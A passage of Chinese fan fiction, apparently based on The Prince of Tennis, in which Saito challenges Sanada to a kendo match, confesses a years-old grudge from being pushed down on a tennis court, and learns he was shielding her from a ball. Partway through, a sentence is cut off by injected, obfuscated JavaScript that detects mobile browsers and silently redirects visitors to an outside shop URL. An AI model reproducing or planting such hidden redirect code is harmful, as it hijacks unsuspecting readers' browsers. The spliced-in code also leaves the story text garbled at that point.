那是幸村在经历了病痛的绝望后,才领悟出的、能剥夺对手五感的招式,至于其中更深的原理,恐怕只有幸村自己才知道。
解释完毕,他立刻把话题拉回了正轨,语气里已经带上了焦躁:“所以,你到底有什么‘重要的事’要和我说?”
他看上去竟比斋藤这个“提问者”还要焦急。那双眼睛紧紧地盯着她,仿佛早已预知了她将要说什么,却又急切地需要从她口中亲自得到那个最终的“认证”。
斋藤深吸一口气,用冰棍的包装袋包住木棍放在长椅上,然后站起来。脱下凉鞋,赤脚踩在了公园里那片水泥浇筑的、布满粗糙沙砾的地面上。因为平日训练,斋藤的双脚已经能够面不改色的踩在这样粗糙的地面上。
她嘴里发出一声极轻的“嘿咻”,然后,开始用力地、有节奏地,原地踏步。
“你在干什么?”真田的声音里,充满了无法理解的困惑。
“我在视频上看过,”面对真田的疑问,斋藤抬头挺胸,得意地解释,“这样做,就能在道场里,踩出更好听的声音。”
她能感觉到真田那无语的视线。她知道自己此刻的行为根本算不上“教养良好”。
但她需要这个,需要用这种反常的方式找回那个身为剑士的自己。
斋藤又想到了一个新的、更迂回的切入点,一边活动身体,一边说:“说起来,真田君,你手上的那条疤——”
“斋藤,”真田的声音里,终于带上了不耐烦,“不要再找这些奇怪的借口了。想说什么,就开诚布公地说。”
他急躁的打断,反而像是一记当头棒喝,让斋藤立刻闭嘴。
她停下了动作。
再次深吸一口气,想象着自己正身处那片熟悉的、让她安心的道场。
然后,她猛地向前踏出一步,整个脚掌用力地砸在地面上。
“啪——!”
清脆的声音在寂静的夜色中,显得格外响亮。如果不会影响到附近的住户,她一定同时会大喝一声,给自己打气。
斋藤的这一行为,引来了真田那带着一丝赞许的、属于指导者的评价:
“气势不错。”
斋藤缓缓地、深深地弯下腰,用尽全身的力气,以一种破釜沉舟的姿态,大声喊出了那句早已在她心中演练了千百遍的话:
“真田弦一郎!拜托你请和我比试一场!”
“啪!”
真田手上的木棍因为他的失控被折成两半。
“哈?”
困惑不解将真田脸上的严肃的表情彻底扭曲了。他的声音,带着一种因为极度困惑而产生的沙哑,似乎是从喉咙深处挤出来的:
“……你,就是为了……这个?”
斋藤没有察觉到真田语气中那份深不见底的错愕。她的姿态依然维持着剑道比赛时的庄重。她抬起头,用坚定的眼神看着坐在椅子上,身体僵硬的真田。
“是的,这非常重要!”
“我说过!我现在,是不会和你比试的!”
真田猛地转开视线,声音也因为过度用力而显得比平时更大了几分,斩钉截铁的说。
“请和我比试吧!我能接触学习剑道,有了这些成就都是因为你。”见到真田这样不通情理,斋藤双手握拳,诚恳地说。
“斋藤……”
听到斋藤这发自肺腑的自白,真田再次看向斋藤,眼睛里出现了少见的,宛如平静湖面的柔和平静,呼喊着斋藤的声音多了几分温柔。
“因为,因为……我……”
“你不要说了……我现在没办法……”真田低下头,像是要打断斋藤的话,抢在斋藤之前开口,但是,语气中带着艰难与羞涩,这样不够坚定的语气显然不能阻止斋藤继续说下去。
“——一直都想狠狠地揍你一顿。”
真田的身体在一瞬间明显瞬间僵住了。
“想……想揍我?”
真田看着斋藤抽着嘴角,断断续续的话语里充满着荒唐、不屑以及难以置信。
“是。”斋藤点头,“一开始,确实是这么愚蠢的理由。”
“一开始?”真田追问。
斋藤抬起眼,与真田对上视线。
“但现在我真的热爱剑道,这一点毫无疑问。”她顿了顿,“只是,我和你之间必须要做个了结。用一场光明正大的对决。”
真田脸上的困惑,没有因为她这番话而减少,反而更深了。他似乎完全无法将“了结”和“对决”这两个词,与眼前这个他最熟悉的人联系起来。他用一种刨根究底的语气问:
“所以你到底为什么要想揍我?”
“……你果然已经忘记了。”斋藤的眼神,在那一瞬间黯淡了下去。她低下头,声音很轻地说。
“当年,在那个网球场,你因为我打扰你练习,对我发了火……那是第一次有人那样对我发火……”
“——你是笨蛋吗?”
真田突然打断了她,语气里的震惊和不解,甚至压过了她话语里的失落。
斋藤猛地抬起头。
“是的,我就是个大笨蛋!”她几乎是喊了出来,积压了多年的情绪在此刻全部倾泻而出。
“因为那种小事而一直耿耿于怀的我,就是个大笨蛋!我从那天开始,就一直在生你的气!我明知道这件事根本不值得生气,可我偏偏就是放不下!所以我才决定去学剑道,我只是想找一个能堂堂正正揍你一顿的、最正经的理由!”
面对这番激烈的话语,真田沉默了。他看着她,眉头紧锁,似乎在努力地消化着什么,然后他得出了一个结论:
“……那你其实一直在讨厌我?”
“倒不是讨厌……”斋藤的气势弱了下来。
“不过这样很多事也能说得通了。”真田像是没听见她的辩解,自顾自地说了下去,声音里带着一种他自己都没察觉的,冰冷的自嘲,“我只是感觉你对网球的态度很奇怪,但我一直以为,你就是单纯地不喜欢。但之前你又去看迹部的比赛。那时候我就在想,或许,你只是对我个人有些意见……”
“等一下!”斋藤急忙打断,“我不是去看你打决赛的吗?地区决赛和全国大赛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487304|202083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的决赛,我都有去!”
“没想到你居然这么记仇。”真田像是根本没听进她的话,用了简单的词为整件事定了性。
“记仇?”斋藤反问,这个词让斋藤委屈的记忆涌上心头,然后数落起真田。
“你居然说我记仇?你可是把我狠狠地推倒在了地上!明明是你自己太过分了!”
这一次,轮到真田惊讶地看着她。
“你真不知道?”他反问,“那时候,如果我不推开你,那颗网球就会直接砸在你的头上。”
斋藤愣住了。
她一直记得,那天,有一颗和自己一样,狼狈地滚出球场的网球。
原来那颗球,原本是会砸到她的吗?
“那、那你为什么……什么都不说?”她的声音,因为震惊而颤抖。
“我看你立刻就站起来跑走了,就想,你肯定没有受伤。”真田的声音,带上了一丝急促,像是在怕再次错过解释的机会,“而且……我之前才刚刚吼过你,一时……没办法再向你开口……”
他低下头,懊悔地说着。
“……要是我那个时候,能及时地安慰你,你也不会跟我闹这么久的别扭。对不起,”他顿了顿,声音更低了,“我应该在你摔倒之后,就立刻跟你好好道歉的。”
他抬起头,看着斋藤,眼神里是前所未有的认真。
“——虽然我现在说这些也太迟了。”
斋藤愣在了原地,鼻尖一阵阵地发酸。
原来,他从来都不是把网球看得比自己重要。
泪水在眼眶里疯狂打转,斋藤仰起头,努力不让它掉下来。
“对不起……是我一直误会你了……”她的声音带着浓重的鼻音,“不过,我真的只是想把你揍一顿而已,我从来、从来没有讨厌过你……”
“那我还要感谢你?”真田看着她那副快要哭出来的,没有安慰她,反而用尖锐的语气说:“明明是你自己太斤斤计较了,还一点也不坦率。”
“是啊,我就是这么小心眼不坦率,”斋藤自暴自弃般地苦笑一声,“你现在想说什么,我都认了。”
她看着他,声音轻了下来,带着自嘲:“觉得我很麻烦,想和我绝交的话,都可以。那样,也就不需要和我比——”
“笨蛋!”真田一声怒斥,打断了她所有的话,“谁会因为这个就跟你绝交!”
这声呵斥,虽然严厉,却瞬间抚平了斋藤心里所有委屈。
她看着他,终于忍不住笑出来。
“……谢谢真田君的宽宏大量。”
真田盯着她那张笑脸,嘴角也跟着动了动,却没有完全弯起。
忽然他像是赛场上的选手,用平日“皇帝”的锐利严肃的气场改变了刚才温情的氛围。
“斋藤君,”他放下手中折断的木棍,双手放在膝盖上,挺直背脊,目光变得专注而又认真,“现在你是想跟我一决胜负,对吗?”
“嗯!”斋藤重重地点头,眼中深沉,充满胜负欲的汪洋里映入了漫天星光。
“我希望能和你一决胜负!”